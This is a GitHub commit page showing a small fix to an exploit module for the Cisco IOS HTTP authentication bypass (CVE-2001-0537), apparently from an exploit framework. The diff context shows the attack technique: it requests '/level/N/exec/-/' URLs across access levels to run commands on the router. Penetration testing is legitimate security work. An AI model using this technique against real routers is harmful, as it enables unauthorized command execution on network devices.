Skip to content

Commit

Permalink
Cisco IOS HTTP Auth Bypass exploit little fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
lucyoa committed Apr 18, 2017
1 parent db81c41 commit 772cc62
Showing 1 changed file with 2 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.',
'authors': [
'Author', 'renos stoikos <rstoikos[at]gmail.com>' # routesploit module
'renos stoikos <rstoikos[at]gmail.com>' # routesploit module
],
'references': [
'http://www.cvedetails.com/cve/cve-2001-0537',
Expand All @@ -44,7 +44,7 @@ def check(self):
for num in range(16, 100):
url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
response = http_request(method="GET", url=url)
if response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
if response is not None and response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
self.access_level = num
return True # target is vulnerable
return False # target is not vulnerable
Expand Down

0 comments on commit 772cc62

Please sign in to comment.